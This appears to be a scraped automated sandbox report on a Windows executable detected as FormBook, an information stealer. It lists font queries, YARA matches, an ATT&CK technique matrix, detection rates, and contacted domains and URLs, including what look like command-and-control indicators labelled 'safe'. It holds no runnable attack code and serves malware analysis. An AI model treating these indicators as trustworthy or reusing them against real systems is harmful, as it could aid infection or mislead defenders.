Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 7.2.6KdTCZit4e.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6KdTCZit4e.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 7.2.6KdTCZit4e.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6KdTCZit4e.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Rootkit1	Credential API Hooking1	Security Software Discovery221	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Masquerading1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion31	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection612	LSA Secrets	System Network Configuration Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Network Connections Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information4	DCSync	System Information Discovery112	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing2	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
6KdTCZit4e.exe	39%	Virustotal		Browse
6KdTCZit4e.exe	20%	ReversingLabs	ByteCode-MSIL.Trojan.Taskun

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
7.2.6KdTCZit4e.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
seahorseblast.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.xboxleaders.com/api/profile.json?gamertag=	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.xboxleaders.com/api/friends.json?gamertag=	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.thedreamcertificate.com/kkt/?ibQh=6llLiJzHhP5P5Lj&I48l2h=L0B8w9HUZaOZ7jw4+npXJ0F94zqPsX3Vt6n0qHR8lA3J0yAUFnvUFF5QUXy5W701wjCn	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
